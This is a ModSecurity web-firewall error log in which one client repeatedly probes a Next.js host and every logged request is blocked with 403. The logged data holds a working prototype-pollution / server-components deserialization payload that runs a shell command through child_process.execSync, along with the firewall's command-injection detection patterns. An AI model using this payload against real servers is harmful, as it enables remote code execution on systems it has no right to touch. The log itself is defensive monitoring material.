[Thu Feb 26 09:02:11.044289 2026] [:error] [pid 2339334] [client 85.11.167.4:41724] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-A8B8DYqCpN9V7UtbCAAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 09:02:11.044471 2026] [:error] [pid 2339334] [client 85.11.167.4:41724] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aZ_-A8B8DYqCpN9V7UtbCAAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.781414 2026] [:error] [pid 2339345] [client 85.11.167.4:38468] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772146243_7214&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ60JcIso7fQsodZ7uQAAACQ&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.781532 2026] [:error] [pid 2339345] [client 85.11.167.4:38468] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772146243_7214&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [ [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ60JcIso7fQsodZ7uQAAACQ&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.781616 2026] [:error] [pid 2339345] [client 85.11.167.4:38468] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1772146243_7214 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ60JcIso7fQsodZ7uQAAACQ&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.782766 2026] [:error] [pid 2339345] [client 85.11.167.4:38468] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ60JcIso7fQsodZ7uQAAACQ&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.782931 2026] [:error] [pid 2339345] [client 85.11.167.4:38468] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ60JcIso7fQsodZ7uQAAACQ&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.976000 2026] [:error] [pid 2339334] [client 85.11.167.4:38480] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772146243&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;app [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ8B8DYqCpN9V7UtbVgAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.976131 2026] [:error] [pid 2339334] [client 85.11.167.4:38480] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772146243&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ8B8DYqCpN9V7UtbVgAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.976219 2026] [:error] [pid 2339334] [client 85.11.167.4:38480] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1772146243 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ8B8DYqCpN9V7UtbVgAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.977272 2026] [:error] [pid 2339334] [client 85.11.167.4:38480] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ8B8DYqCpN9V7UtbVgAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Thu Feb 26 23:50:43.977457 2026] [:error] [pid 2339334] [client 85.11.167.4:38480] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaDOQ8B8DYqCpN9V7UtbVgAAABk&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.642665 2026] [:error] [pid 2378307] [client 85.11.167.4:38030] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772245705_326&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag  [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSySYyvsr2TpGLgQIv_gAAAAQ&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.642836 2026] [:error] [pid 2378307] [client 85.11.167.4:38030] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1772245705_326&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [t [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSySYyvsr2TpGLgQIv_gAAAAQ&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.642917 2026] [:error] [pid 2378307] [client 85.11.167.4:38030] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1772245705_326 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSySYyvsr2TpGLgQIv_gAAAAQ&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.644059 2026] [:error] [pid 2378307] [client 85.11.167.4:38030] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSySYyvsr2TpGLgQIv_gAAAAQ&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.644264 2026] [:error] [pid 2378307] [client 85.11.167.4:38030] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSySYyvsr2TpGLgQIv_gAAAAQ&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.788015 2026] [:error] [pid 2378305] [client 85.11.167.4:38046] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772245705&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;app [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSyfdKlFv72K9hppU3RgAAAAI&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.788150 2026] [:error] [pid 2378305] [client 85.11.167.4:38046] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1772245705&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSyfdKlFv72K9hppU3RgAAAAI&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.788235 2026] [:error] [pid 2378305] [client 85.11.167.4:38046] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1772245705 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: 